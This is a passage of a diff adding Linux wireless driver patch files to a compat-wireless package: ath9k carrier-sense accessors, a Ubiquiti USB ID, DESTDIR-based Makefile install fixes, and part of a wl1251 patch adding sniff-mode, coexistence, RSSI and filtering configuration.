ath9k_channel *chan, + if (ah->btcoex_hw.enabled) + ath9k_hw_btcoex_enable(ah); + ++ ath9k_hw_set_phy_cs(ah, ah->saved_phy_cs); ++ ath9k_hw_set_virt_cs(ah, ah->saved_virt_cs); ++ + return 0; + } + EXPORT_SYMBOL(ath9k_hw_reset); +diff --git a/drivers/net/wireless/ath/ath9k/hw.h b/drivers/net/wireless/ath/ath9k/hw.h +index dbbf7ca..2c1dac4 100644 +--- a/drivers/net/wireless/ath/ath9k/hw.h ++++ b/drivers/net/wireless/ath/ath9k/hw.h +@@ -602,6 +602,10 @@ struct ath_hw { + u32 intr_gen_timer_trigger; + u32 intr_gen_timer_thresh; + struct ath_gen_timer_table hw_gen_timers; ++ ++ /* Saved values of physical & virtual carrier sense */ ++ int saved_phy_cs; ++ int saved_virt_cs; + }; + + static inline struct ath_common *ath9k_hw_common(struct ath_hw *ah) +@@ -618,6 +622,10 @@ static inline struct ath_regulatory *ath9k_hw_regulatory(struct ath_hw *ah) + const char *ath9k_hw_probe(u16 vendorid, u16 devid); + void ath9k_hw_deinit(struct ath_hw *ah); + int ath9k_hw_init(struct ath_hw *ah); ++int ath9k_hw_get_phy_cs(struct ath_hw *ah); ++void ath9k_hw_set_phy_cs(struct ath_hw *ah, int val); ++int ath9k_hw_get_virt_cs(struct ath_hw *ah); ++void ath9k_hw_set_virt_cs(struct ath_hw *ah, int val); + int ath9k_hw_reset(struct ath_hw *ah, struct ath9k_channel *chan, + bool bChannelChange); + int ath9k_hw_fill_cap_info(struct ath_hw *ah); + diff --git a/net-wireless/compat-wireless/files/ubnt-wifi-station-ext2.patch b/net-wireless/compat-wireless/files/ubnt-wifi-station-ext2.patch new file mode 100644 index 00000000..ba455c98 --- /dev/null +++ b/net-wireless/compat-wireless/files/ubnt-wifi-station-ext2.patch @@ -0,0 +1,20 @@ +commit 452d7dd816744efb5d0c22c2b038f2ffa5c7ec14 +Author: Sujith Manoharan +Date: Mon Dec 13 07:39:32 2010 +0530 + + ath9k_htc: Add Ubiquiti wifistation ext to supported devices + + Signed-off-by: Sujith Manoharan + Signed-off-by: John W. Linville + +diff -Naur compat-wireless-2.6.37-4-sn-orig/drivers/net/wireless/ath/ath9k/hif_usb.c compat-wireless-2.6.37-4-sn/drivers/net/wireless/ath/ath9k/hif_usb.c +--- compat-wireless-2.6.37-4-sn-orig/drivers/net/wireless/ath/ath9k/hif_usb.c 2011-02-07 21:07:16.000000000 -0500 ++++ compat-wireless-2.6.37-4-sn/drivers/net/wireless/ath/ath9k/hif_usb.c 2011-02-07 21:07:56.000000000 -0500 +@@ -42,6 +42,7 @@ + { USB_DEVICE(0x04CA, 0x4605) }, /* Liteon */ + { USB_DEVICE(0x083A, 0xA704) }, /* SMC Networks */ + { USB_DEVICE(0x040D, 0x3801) }, /* VIA */ ++ { USB_DEVICE(0x0cf3, 0xb003) }, /* Ubiquiti WifiStation Ext */ + { USB_DEVICE(0x1668, 0x1200) }, /* Verizon */ + { }, + }; diff --git a/net-wireless/compat-wireless/files/whynot-2.6.31.patch b/net-wireless/compat-wireless/files/whynot-2.6.31.patch new file mode 100644 index 00000000..e04b6330 --- /dev/null +++ b/net-wireless/compat-wireless/files/whynot-2.6.31.patch @@ -0,0 +1,129 @@ +diff -Naur compat-wireless-2.6.31-rc4-orig/Makefile compat-wireless-2.6.31-rc4/Makefile +--- compat-wireless-2.6.31-rc4-orig/Makefile 2009-07-22 17:27:26.000000000 -0400 ++++ compat-wireless-2.6.31-rc4/Makefile 2009-07-30 16:35:59.000000000 -0400 +@@ -3,13 +3,9 @@ + ifneq ($(origin $(KLIB)), undefined) + KMODPATH_ARG:= "INSTALL_MOD_PATH=$(KLIB)" + else +-export KLIB:= /lib/modules/$(shell uname -r) ++export KLIB:= $(DESTDIR)/lib/modules/$(KVER) + endif + export KLIB_BUILD ?= $(KLIB)/build +-# Sometimes not available in the path +-MODPROBE := /sbin/modprobe +-MADWIFI=$(shell $(MODPROBE) -l ath_pci) +-OLD_IWL=$(shell $(MODPROBE) -l iwl4965) + + ifneq ($(KERNELRELEASE),) + +@@ -62,34 +58,19 @@ + $(MAKE) -C $(KLIB_BUILD) M=$(PWD) $(KMODDIR_ARG) $(KMODPATH_ARG) \ + modules_install + @# All the scripts we can use +- @mkdir -p /usr/lib/compat-wireless/ +- @install scripts/modlib.sh /usr/lib/compat-wireless/ +- @install scripts/madwifi-unload /usr/sbin/ ++ @mkdir -p $(DESTDIR)/usr/lib/compat-wireless/ ++ @install scripts/modlib.sh $(DESTDIR)/usr/lib/compat-wireless/ ++ @mkdir -p $(DESTDIR)/usr/sbin/ ++ @install scripts/madwifi-unload $(DESTDIR)/usr/sbin/ ++ + @# This is to allow switching between drivers without blacklisting +- @install scripts/athenable /usr/sbin/ +- @install scripts/b43enable /usr/sbin/ +- @install scripts/iwl-enable /usr/sbin/ +- @install scripts/athload /usr/sbin/ +- @install scripts/b43load /usr/sbin/ +- @install scripts/iwl-load /usr/sbin/ +- @if [ ! -z $(MADWIFI) ]; then \ +- echo ;\ +- echo -n "Note: madwifi detected, we're going to disable it. " ;\ +- echo "If you would like to enable it later you can run:" ;\ +- echo " sudo athenable madwifi" ;\ +- echo ;\ +- echo Running athenable ath5k...;\ +- /usr/sbin/athenable ath5k ;\ +- fi +- @if [ ! -z $(OLD_IWL) ]; then \ +- echo ;\ +- echo -n "Note: iwl4965 detected, we're going to disable it. " ;\ +- echo "If you would like to enable it later you can run:" ;\ +- echo " sudo iwl-load iwl4965" ;\ +- echo ;\ +- echo Running iwl-enable iwlagn...;\ +- /usr/sbin/iwl-enable iwlagn ;\ +- fi ++ @install scripts/athenable ${DESTDIR}/usr/sbin/ ++ @install scripts/b43enable ${DESTDIR}/usr/sbin/ ++ @install scripts/iwl-enable ${DESTDIR}/usr/sbin/ ++ @install scripts/athload ${DESTDIR}/usr/sbin/ ++ @install scripts/b43load ${DESTDIR}/usr/sbin/ ++ @install scripts/iwl-load ${DESTDIR}/usr/sbin/ ++ + @# If on distributions like Mandriva which like to + @# compress their modules this will find out and do + @# it for you. Reason is some old version of modutils +@@ -100,62 +81,7 @@ + @# the updates/ dir which is what we use so we add one for it + @# (or any other distribution that doens't have this). + @./scripts/check_depmod +- @/sbin/depmod -ae +- @echo +- @echo "Currently detected wireless subsystem modules:" +- @echo +- @$(MODPROBE) -l mac80211 +- @$(MODPROBE) -l cfg80211 +- @$(MODPROBE) -l lib80211 +- @$(MODPROBE) -l adm8211 +- @$(MODPROBE) -l ar9170usb +- @$(MODPROBE) -l at76c50x-usb +- @$(MODPROBE) -l ath +- @$(MODPROBE) -l ath5k +- @$(MODPROBE) -l ath9k +- @$(MODPROBE) -l b43 +- @$(MODPROBE) -l b43legacy +- @$(MODPROBE) -l b44 +- @$(MODPROBE) -l cdc_ether +- @$(MODPROBE) -l eeprom_93cx6 +- @$(MODPROBE) -l ipw2100 +- @$(MODPROBE) -l ipw2200 +- @$(MODPROBE) -l iwl3945 +- @$(MODPROBE) -l iwlagn +- @$(MODPROBE) -l iwlcore +- @$(MODPROBE) -l lib80211_crypt_ccmp +- @$(MODPROBE) -l lib80211_crypt_tkip +- @$(MODPROBE) -l lib80211_crypt_wep +- @$(MODPROBE) -l libertas +- @$(MODPROBE) -l libertas_cs +- @$(MODPROBE) -l libertas_sdio +- @$(MODPROBE) -l libertas_spi +- @$(MODPROBE) -l libertas_tf +- @$(MODPROBE) -l libertas_tf_usb +- @$(MODPROBE) -l libipw +- @$(MODPROBE) -l mac80211_hwsim +- @$(MODPROBE) -l mwl8k +- @$(MODPROBE) -l p54common +- @$(MODPROBE) -l p54pci +- @$(MODPROBE) -l p54spi +- @$(MODPROBE) -l p54usb +- @$(MODPROBE) -l rndis_host +- @$(MODPROBE) -l rndis_wlan +- @$(MODPROBE) -l rt2400pci +- @$(MODPROBE) -l rt2500pci +- @$(MODPROBE) -l rt2500usb +- @$(MODPROBE) -l rt2x00lib +- @$(MODPROBE) -l rt2x00pci +- @$(MODPROBE) -l rt2x00usb +- @$(MODPROBE) -l rt61pci +- @$(MODPROBE) -l rt73usb +- @$(MODPROBE) -l rtl8180 +- @$(MODPROBE) -l rtl8187 +- @$(MODPROBE) -l ssb +- @$(MODPROBE) -l usb8xxx +- @$(MODPROBE) -l usbnet +- @$(MODPROBE) -l zd1211rw +- @echo ++ + @echo Now run: + @echo + @echo make unload diff --git a/net-wireless/compat-wireless/files/whynot-2.6.32.patch b/net-wireless/compat-wireless/files/whynot-2.6.32.patch new file mode 100644 index 00000000..165e7201 --- /dev/null +++ b/net-wireless/compat-wireless/files/whynot-2.6.32.patch @@ -0,0 +1,18 @@ +diff -Naur compat-wireless-2.6.32-rc1/Makefile compat-wireless-2.6.32-rc1-fixed/Makefile +--- compat-wireless-2.6.32-rc1/Makefile 2009-10-02 19:40:50.000000000 -0400 ++++ compat-wireless-2.6.32-rc1-fixed/Makefile 2009-10-02 22:14:04.000000000 -0400 +@@ -3,13 +3,9 @@ + ifneq ($(origin KLIB), undefined) + KMODPATH_ARG:= "INSTALL_MOD_PATH=$(KLIB)" + else +-export KLIB:= /lib/modules/$(shell uname -r) ++export KLIB:= $(DESTDIR)/lib/modules/$(KVER) + endif + export KLIB_BUILD ?= $(KLIB)/build +-# Sometimes not available in the path +-MODPROBE := /sbin/modprobe +-MADWIFI=$(shell $(MODPROBE) -l ath_pci) +-OLD_IWL=$(shell $(MODPROBE) -l iwl4965) + + DESTDIR?= + diff --git a/net-wireless/compat-wireless/files/whynot.patch b/net-wireless/compat-wireless/files/whynot.patch new file mode 100644 index 00000000..e932cfdb --- /dev/null +++ b/net-wireless/compat-wireless/files/whynot.patch @@ -0,0 +1,122 @@ +diff -Naur compat-wireless-2.6.30-rc6.orig/Makefile compat-wireless-2.6.30-rc6/Makefile +--- compat-wireless-2.6.30-rc6.orig/Makefile 2009-05-17 21:48:36.000000000 +0000 ++++ compat-wireless-2.6.30-rc6/Makefile 2009-05-27 12:21:51.000000000 +0000 +@@ -3,13 +3,10 @@ + ifneq ($(origin $(KLIB)), undefined) + KMODPATH_ARG:= "INSTALL_MOD_PATH=$(KLIB)" + else +-export KLIB:= /lib/modules/$(shell uname -r) ++export KLIB:= $(DESTDIR)/lib/modules/$(KVER) + endif + export KLIB_BUILD ?= $(KLIB)/build + # Sometimes not available in the path +-MODPROBE := /sbin/modprobe +-MADWIFI=$(shell $(MODPROBE) -l ath_pci) +-OLD_IWL=$(shell $(MODPROBE) -l iwl4965) + + ifneq ($(KERNELRELEASE),) + +@@ -59,92 +56,26 @@ + @md5sum $(COMPAT_CONFIG) > $(CONFIG_CHECK) + + install: uninstall modules +- $(MAKE) -C $(KLIB_BUILD) M=$(PWD) $(KMODDIR_ARG) $(KMODPATH_ARG) \ ++ $(MAKE) -C /lib/modules/$(KVER)/build M=$(PWD) $(KMODDIR_ARG) $(KMODPATH_ARG) \ + modules_install + @# All the scripts we can use +- @mkdir -p /usr/lib/compat-wireless/ +- @install scripts/modlib.sh /usr/lib/compat-wireless/ +- @install scripts/madwifi-unload /usr/sbin/ ++ @mkdir -p $(DESTDIR)/usr/lib/compat-wireless/ ++ @install scripts/modlib.sh $(DESTDIR)/usr/lib/compat-wireless/ ++ @mkdir -p $(DESTDIR)/usr/sbin/ ++ @install scripts/madwifi-unload $(DESTDIR)/usr/sbin/ + @# This is to allow switching between drivers without blacklisting +- @install scripts/athenable /usr/sbin/ +- @install scripts/b43enable /usr/sbin/ +- @install scripts/iwl-enable /usr/sbin/ +- @install scripts/athload /usr/sbin/ +- @install scripts/b43load /usr/sbin/ +- @install scripts/iwl-load /usr/sbin/ +- @if [ ! -z $(MADWIFI) ]; then \ +- echo ;\ +- echo -n "Note: madwifi detected, we're going to disable it. " ;\ +- echo "If you would like to enable it later you can run:" ;\ +- echo " sudo athenable madwifi" ;\ +- echo ;\ +- echo Running athenable ath5k...;\ +- /usr/sbin/athenable ath5k ;\ +- fi +- @if [ ! -z $(OLD_IWL) ]; then \ +- echo ;\ +- echo -n "Note: iwl4965 detected, we're going to disable it. " ;\ +- echo "If you would like to enable it later you can run:" ;\ +- echo " sudo iwl-load iwl4965" ;\ +- echo ;\ +- echo Running iwl-enable iwlagn...;\ +- /usr/sbin/iwl-enable iwlagn ;\ +- fi ++ @install scripts/athenable $(DESTDIR)/usr/sbin/ ++ @install scripts/b43enable $(DESTDIR)/usr/sbin/ ++ @install scripts/iwl-enable $(DESTDIR)/usr/sbin/ ++ @install scripts/athload $(DESTDIR)/usr/sbin/ ++ @install scripts/b43load $(DESTDIR)/usr/sbin/ ++ @install scripts/iwl-load $(DESTDIR)/usr/sbin/ + @# If on distributions like Mandriva which like to + @# compress their modules this will find out and do + @# it for you. Reason is some old version of modutils + @# won't know mac80211.ko should be used instead of + @# mac80211.ko.gz + @./scripts/compress_modules +- @/sbin/depmod -ae +- @echo +- @echo "Currently detected wireless subsystem modules:" +- @echo +- @$(MODPROBE) -l mac80211 +- @$(MODPROBE) -l cfg80211 +- @$(MODPROBE) -l lib80211 +- @$(MODPROBE) -l adm8211 +- @$(MODPROBE) -l at76c50x-usb +- @$(MODPROBE) -l ath5k +- @$(MODPROBE) -l ath9k +- @$(MODPROBE) -l b43 +- @$(MODPROBE) -l b43legacy +- @$(MODPROBE) -l b44 +- @$(MODPROBE) -l ssb +- @$(MODPROBE) -l rc80211_simple +- @$(MODPROBE) -l iwlcore +- @$(MODPROBE) -l iwl3945 +- @$(MODPROBE) -l iwlagn +- @$(MODPROBE) -l ipw2100 +- @$(MODPROBE) -l ipw2200 +- @$(MODPROBE) -l libipw +- @$(MODPROBE) -l lib80211 +- @$(MODPROBE) -l lib80211_crypt +- @$(MODPROBE) -l libertas_cs +- @$(MODPROBE) -l libertas_tf +- @$(MODPROBE) -l libertas_tf_usb +- @$(MODPROBE) -l ub8xxx +- @$(MODPROBE) -l p54pci +- @$(MODPROBE) -l p54usb +- @$(MODPROBE) -l rt2400pci +- @$(MODPROBE) -l rt2500pci +- @$(MODPROBE) -l rt2500usb +- @$(MODPROBE) -l rt61pci +- @$(MODPROBE) -l rt73usb +- @$(MODPROBE) -l usbnet +- @$(MODPROBE) -l cdc_ether +- @$(MODPROBE) -l rndis_host +- @$(MODPROBE) -l rndis_wlan +- @$(MODPROBE) -l rtl8180 +- @$(MODPROBE) -l rtl8187 +- @$(MODPROBE) -l zd1211rw +- @echo +- @echo Now run: +- @echo +- @echo make unload +- @echo +- @echo And then load the wireless module you need. If unsure reboot. +- @echo + + uninstall: + @# New location, matches upstream diff --git a/net-wireless/compat-wireless/files/wl1251-inject-2.6.37.patch b/net-wireless/compat-wireless/files/wl1251-inject-2.6.37.patch new file mode 100644 index 00000000..14c32047 --- /dev/null +++ b/net-wireless/compat-wireless/files/wl1251-inject-2.6.37.patch @@ -0,0 +1,1685 @@ +diff -Naur compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/acx.c compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/acx.c +--- compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/acx.c 2011-01-13 02:06:39.000000000 +0100 ++++ compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/acx.c 2011-08-23 17:07:28.000000000 +0200 +@@ -211,7 +211,7 @@ + return ret; + } + +-int wl1251_acx_feature_cfg(struct wl1251 *wl) ++int wl1251_acx_feature_cfg(struct wl1251 *wl, u32 data_flow_options) + { + struct acx_feature_config *feature; + int ret; +@@ -224,8 +224,8 @@ + goto out; + } + +- /* DF_ENCRYPTION_DISABLE and DF_SNIFF_MODE_ENABLE are disabled */ +- feature->data_flow_options = 0; ++ /* DF_ENCRYPTION_DISABLE and DF_SNIFF_MODE_ENABLE can be set */ ++ feature->data_flow_options = data_flow_options; + feature->options = 0; + + ret = wl1251_cmd_configure(wl, ACX_FEATURE_CFG, +@@ -410,7 +410,8 @@ + return ret; + } + +-int wl1251_acx_group_address_tbl(struct wl1251 *wl) ++int wl1251_acx_group_address_tbl(struct wl1251 *wl, bool enable, ++ void *mc_list, u32 mc_list_len) + { + struct acx_dot11_grp_addr_tbl *acx; + int ret; +@@ -424,9 +425,9 @@ + } + + /* MAC filtering */ +- acx->enabled = 0; +- acx->num_groups = 0; +- memset(acx->mac_table, 0, ADDRESS_GROUP_MAX_LEN); ++ acx->enabled = enable; ++ acx->num_groups = mc_list_len; ++ memcpy(acx->mac_table, mc_list, mc_list_len * ETH_ALEN); + + ret = wl1251_cmd_configure(wl, DOT11_GROUP_ADDRESS_TBL, + acx, sizeof(*acx)); +@@ -583,7 +584,7 @@ + return ret; + } + +-int wl1251_acx_sg_enable(struct wl1251 *wl) ++int wl1251_acx_sg_enable(struct wl1251 *wl, u8 mode) + { + struct acx_bt_wlan_coex *pta; + int ret; +@@ -596,7 +597,7 @@ + goto out; + } + +- pta->enable = SG_ENABLE; ++ pta->enable = mode; + + ret = wl1251_cmd_configure(wl, ACX_SG_ENABLE, pta, sizeof(*pta)); + if (ret < 0) { +@@ -609,7 +610,7 @@ + return ret; + } + +-int wl1251_acx_sg_cfg(struct wl1251 *wl) ++int wl1251_acx_sg_cfg(struct wl1251 *wl, u16 wake_up_beacon) + { + struct acx_bt_wlan_coex_param *param; + int ret; +@@ -634,7 +635,7 @@ + param->wlan_cycle_fast = PTA_CYCLE_TIME_FAST_DEF; + param->bt_anti_starvation_period = PTA_ANTI_STARVE_PERIOD_DEF; + param->next_bt_lp_packet = PTA_TIMEOUT_NEXT_BT_LP_PACKET_DEF; +- param->wake_up_beacon = PTA_TIME_BEFORE_BEACON_DEF; ++ param->wake_up_beacon = wake_up_beacon; + param->hp_dm_max_guard_time = PTA_HPDM_MAX_TIME_DEF; + param->next_wlan_packet = PTA_TIME_OUT_NEXT_WLAN_DEF; + param->antenna_type = PTA_ANTENNA_TYPE_DEF; +@@ -663,6 +664,41 @@ + return ret; + } + ++int wl1251_acx_sg_configure(struct wl1251 *wl, bool force) ++{ ++ int ret; ++ ++ if (wl->state == WL1251_STATE_OFF && !force) ++ return 0; ++ ++ switch (wl->bt_coex_mode) { ++ case WL1251_BT_COEX_OFF: ++ ret = wl1251_acx_sg_enable(wl, SG_DISABLE); ++ if (ret) ++ break; ++ ret = wl1251_acx_sg_cfg(wl, 0); ++ break; ++ case WL1251_BT_COEX_ENABLE: ++ ret = wl1251_acx_sg_enable(wl, SG_ENABLE); ++ if (ret) ++ break; ++ ret = wl1251_acx_sg_cfg(wl, PTA_TIME_BEFORE_BEACON_DEF); ++ break; ++ case WL1251_BT_COEX_MONOAUDIO: ++ ret = wl1251_acx_sg_enable(wl, SG_ENABLE); ++ if (ret) ++ break; ++ ret = wl1251_acx_sg_cfg(wl, PTA_TIME_BEFORE_BEACON_MONO_AUDIO); ++ break; ++ default: ++ wl1251_error("Invalid BT co-ex mode!"); ++ ret = -EOPNOTSUPP; ++ break; ++ } ++ ++ return ret; ++} ++ + int wl1251_acx_cca_threshold(struct wl1251 *wl) + { + struct acx_energy_detection *detection; +@@ -776,6 +812,31 @@ + return ret; + } + ++int wl1251_acx_low_rssi(struct wl1251 *wl, s8 threshold, u8 weight, ++ u8 depth, enum wl1251_acx_low_rssi_type type) ++{ ++ struct acx_low_rssi *rssi; ++ int ret; ++ ++ wl1251_debug(DEBUG_ACX, "acx low rssi"); ++ ++ rssi = kzalloc(sizeof(*rssi), GFP_KERNEL); ++ if (!rssi) ++ return -ENOMEM; ++ ++ rssi->threshold = threshold; ++ rssi->weight = weight; ++ rssi->depth = depth; ++ rssi->type = type; ++ ++ ret = wl1251_cmd_configure(wl, ACX_LOW_RSSI, rssi, sizeof(*rssi)); ++ if (ret < 0) ++ wl1251_warning("failed to set low rssi threshold: %d", ret); ++ ++ kfree(rssi); ++ return ret; ++} ++ + int wl1251_acx_set_preamble(struct wl1251 *wl, enum acx_preamble_type preamble) + { + struct acx_preamble *acx; +@@ -886,12 +947,18 @@ + } + + /* configure one default (one-size-fits-all) rate class */ +- acx->rate_class_cnt = 1; ++ acx->rate_class_cnt = 2; + acx->rate_class[0].enabled_rates = ACX_RATE_MASK_UNSPECIFIED; + acx->rate_class[0].short_retry_limit = ACX_RATE_RETRY_LIMIT; + acx->rate_class[0].long_retry_limit = ACX_RATE_RETRY_LIMIT; + acx->rate_class[0].aflags = 0; + ++ /* no-retry rate class */ ++ acx->rate_class[1].enabled_rates = ACX_RATE_MASK_UNSPECIFIED; ++ acx->rate_class[1].short_retry_limit = 0; ++ acx->rate_class[1].long_retry_limit = 0; ++ acx->rate_class[1].aflags = 0; ++ + ret = wl1251_cmd_configure(wl, ACX_RATE_POLICY, acx, sizeof(*acx)); + if (ret < 0) { + wl1251_warning("Setting of rate policies failed: %d", ret); +@@ -973,6 +1040,65 @@ + goto out; + } + ++out: ++ kfree(acx); ++ return ret; ++} ++ ++int wl1251_acx_bet_enable(struct wl1251 *wl, enum wl1251_acx_bet_mode mode, ++ u8 max_consecutive) ++{ ++ struct wl1251_acx_bet_enable *acx; ++ int ret; ++ ++ wl1251_debug(DEBUG_ACX, "acx bet enable"); ++ ++ acx = kzalloc(sizeof(*acx), GFP_KERNEL); ++ if (!acx) { ++ ret = -ENOMEM; ++ goto out; ++ } ++ ++ acx->enable = mode; ++ acx->max_consecutive = max_consecutive; ++ ++ ret = wl1251_cmd_configure(wl, ACX_BET_ENABLE, acx, sizeof(*acx)); ++ if (ret < 0) { ++ wl1251_warning("wl1251 acx bet enable failed: %d", ret); ++ goto out; ++ } ++ ++out: ++ kfree(acx); ++ return ret; ++} ++ ++int wl1251_acx_arp_ip_filter(struct wl1251 *wl, bool enable, __be32 address) ++{ ++ struct wl1251_acx_arp_filter *acx; ++ int ret; ++ ++ wl1251_debug(DEBUG_ACX, "acx arp ip filter, enable: %d", enable); ++ ++ acx = kzalloc(sizeof(*acx), GFP_KERNEL); ++ if (!acx) { ++ ret = -ENOMEM; ++ goto out; ++ } ++ ++ acx->version = ACX_IPV4_VERSION; ++ acx->enable = enable; ++ ++ if (enable == true) ++ memcpy(acx->address, &address, ACX_IPV4_ADDR_SIZE); ++ ++ ret = wl1251_cmd_configure(wl, ACX_ARP_IP_FILTER, ++ acx, sizeof(*acx)); ++ if (ret < 0) { ++ wl1251_warning("failed to set arp ip filter: %d", ret); ++ goto out; ++ } ++ + out: + kfree(acx); + return ret; +diff -Naur compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/acx.h compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/acx.h +--- compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/acx.h 2011-01-13 02:06:39.000000000 +0100 ++++ compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/acx.h 2011-08-23 17:07:20.000000000 +0200 +@@ -350,8 +350,8 @@ + } __packed; + + +-#define ADDRESS_GROUP_MAX (8) +-#define ADDRESS_GROUP_MAX_LEN (ETH_ALEN * ADDRESS_GROUP_MAX) ++#define ACX_MC_ADDRESS_GROUP_MAX (8) ++#define ACX_MC_ADDRESS_GROUP_MAX_LEN (ETH_ALEN * ACX_MC_ADDRESS_GROUP_MAX) + + struct acx_dot11_grp_addr_tbl { + struct acx_header header; +@@ -359,7 +359,7 @@ + u8 enabled; + u8 num_groups; + u8 pad[2]; +- u8 mac_table[ADDRESS_GROUP_MAX_LEN]; ++ u8 mac_table[ACX_MC_ADDRESS_GROUP_MAX_LEN]; + } __packed; + + +@@ -399,6 +399,49 @@ + u8 pad[2]; + } __packed; + ++enum wl1251_acx_low_rssi_type { ++ /* ++ * The event is a "Level" indication which keeps triggering ++ * as long as the average RSSI is below the threshold. ++ */ ++ WL1251_ACX_LOW_RSSI_TYPE_LEVEL = 0, ++ ++ /* ++ * The event is an "Edge" indication which triggers ++ * only when the RSSI threshold is crossed from above. ++ */ ++ WL1251_ACX_LOW_RSSI_TYPE_EDGE = 1, ++}; ++ ++struct acx_low_rssi { ++ struct acx_header header; ++ ++ /* ++ * The threshold (in dBm) below (or above after low rssi ++ * indication) which the firmware generates an interrupt to the ++ * host. This parameter is signed. ++ */ ++ s8 threshold; ++ ++ /* ++ * The weight of the current RSSI sample, before adding the new ++ * sample, that is used to calculate the average RSSI. ++ */ ++ u8 weight; ++ ++ /* ++ * The number of Beacons/Probe response frames that will be ++ * received before issuing the Low or Regained RSSI event. ++ */ ++ u8 depth; ++ ++ /* ++ * Configures how the Low RSSI Event is triggered. Refer to ++ * enum wl1251_acx_low_rssi_type for more. ++ */ ++ u8 type; ++} __packed; ++ + struct acx_beacon_filter_option { + struct acx_header header; + +@@ -515,7 +558,8 @@ + #define PTA_ANTI_STARVE_PERIOD_DEF (500) + #define PTA_ANTI_STARVE_NUM_CYCLE_DEF (4) + #define PTA_ALLOW_PA_SD_DEF (1) +-#define PTA_TIME_BEFORE_BEACON_DEF (6300) ++#define PTA_TIME_BEFORE_BEACON_DEF (500) ++#define PTA_TIME_BEFORE_BEACON_MONO_AUDIO (6300) + #define PTA_HPDM_MAX_TIME_DEF (1600) + #define PTA_TIME_OUT_NEXT_WLAN_DEF (2550) + #define PTA_AUTO_MODE_NO_CTS_DEF (0) +@@ -1164,6 +1208,45 @@ + u8 padding; + } __packed; + ++enum wl1251_acx_bet_mode { ++ WL1251_ACX_BET_DISABLE = 0, ++ WL1251_ACX_BET_ENABLE = 1, ++}; ++ ++struct wl1251_acx_bet_enable { ++ struct acx_header header; ++ ++ /* ++ * Specifies if beacon early termination procedure is enabled or ++ * disabled, see enum wl1251_acx_bet_mode. ++ */ ++ u8 enable; ++ ++ /* ++ * Specifies the maximum number of consecutive beacons that may be ++ * early terminated. After this number is reached at least one full ++ * beacon must be correctly received in FW before beacon ET ++ * resumes. Range 0 - 255. ++ */ ++ u8 max_consecutive; ++ ++ u8 padding[2]; ++} __attribute__ ((packed)); ++ ++#define ACX_IPV4_VERSION 4 ++#define ACX_IPV6_VERSION 6 ++#define ACX_IPV4_ADDR_SIZE 4 ++struct wl1251_acx_arp_filter { ++ struct acx_header header; ++ u8 version; /* The IP version: 4 - IPv4, 6 - IPv6.*/ ++ u8 enable; /* 1 - ARP filtering is enabled, 0 - disabled */ ++ u8 padding[2]; ++ u8 address[16]; /* The IP address used to filter ARP packets. ++ ARP packets that do not match this address are ++ dropped. When the IP Version is 4, the last 12 ++ bytes of the the address are ignored. */ ++} __attribute__((packed)); ++ + struct wl1251_acx_ac_cfg { + struct acx_header header; + +@@ -1372,7 +1455,7 @@ + int wl1251_acx_sleep_auth(struct wl1251 *wl, u8 sleep_auth); + int wl1251_acx_fw_version(struct wl1251 *wl, char *buf, size_t len); + int wl1251_acx_tx_power(struct wl1251 *wl, int power); +-int wl1251_acx_feature_cfg(struct wl1251 *wl); ++int wl1251_acx_feature_cfg(struct wl1251 *wl, u32 data_flow_options); + int wl1251_acx_mem_map(struct wl1251 *wl, + struct acx_header *mem_map, size_t len); + int wl1251_acx_data_path_params(struct wl1251 *wl, +@@ -1381,18 +1464,22 @@ + int wl1251_acx_rx_config(struct wl1251 *wl, u32 config, u32 filter); + int wl1251_acx_pd_threshold(struct wl1251 *wl); + int wl1251_acx_slot(struct wl1251 *wl, enum acx_slot_type slot_time); +-int wl1251_acx_group_address_tbl(struct wl1251 *wl); ++int wl1251_acx_group_address_tbl(struct wl1251 *wl, bool enable, ++ void *mc_list, u32 mc_list_len); + int wl1251_acx_service_period_timeout(struct wl1251 *wl); + int wl1251_acx_rts_threshold(struct wl1251 *wl, u16 rts_threshold); + int wl1251_acx_beacon_filter_opt(struct wl1251 *wl, bool enable_filter); + int wl1251_acx_beacon_filter_table(struct wl1251 *wl); + int wl1251_acx_conn_monit_params(struct wl1251 *wl); +-int wl1251_acx_sg_enable(struct wl1251 *wl); +-int wl1251_acx_sg_cfg(struct wl1251 *wl); ++int wl1251_acx_sg_enable(struct wl1251 *wl, u8 mode); ++int wl1251_acx_sg_cfg(struct wl1251 *wl, u16 wake_up_beacon); ++int wl1251_acx_sg_configure(struct wl1251 *wl, bool force); + int wl1251_acx_cca_threshold(struct wl1251 *wl); + int wl1251_acx_bcn_dtim_options(struct wl1251 *wl); + int wl1251_acx_aid(struct wl1251 *wl, u16 aid); + int wl1251_acx_event_mbox_mask(struct wl1251 *wl, u32 event_mask); ++int wl1251_acx_low_rssi(struct wl1251 *wl, s8 threshold, u8 weight, ++ u8 depth, enum wl1251_acx_low_rssi_type type); + int wl1251_acx_set_preamble(struct wl1251 *wl, enum acx_preamble_type preamble); + int wl1251_acx_cts_protect(struct wl1251 *wl, + enum acx_ctsprotect_type ctsprotect); +@@ -1401,6 +1488,9 @@ + int wl1251_acx_rate_policies(struct wl1251 *wl); + int wl1251_acx_mem_cfg(struct wl1251 *wl); + int wl1251_acx_wr_tbtt_and_dtim(struct wl1251 *wl, u16 tbtt, u8 dtim); ++int wl1251_acx_bet_enable(struct wl1251 *wl, enum wl1251_acx_bet_mode mode, ++ u8 max_consecutive); ++int wl1251_acx_arp_ip_filter(struct wl1251 *wl, bool enable, __be32 address); + int wl1251_acx_ac_cfg(struct wl1251 *wl, u8 ac, u8 cw_min, u16 cw_max, + u8 aifs, u16 txop); + int wl1251_acx_tid_cfg(struct wl1251 *wl, u8 queue, +diff -Naur compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/cmd.c compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/cmd.c +--- compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/cmd.c 2011-01-13 02:06:39.000000000 +0100 ++++ compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/cmd.c 2011-08-23 17:30:45.000000000 +0200 +@@ -3,6 +3,7 @@ + #include + #include + #include ++#include + + #include 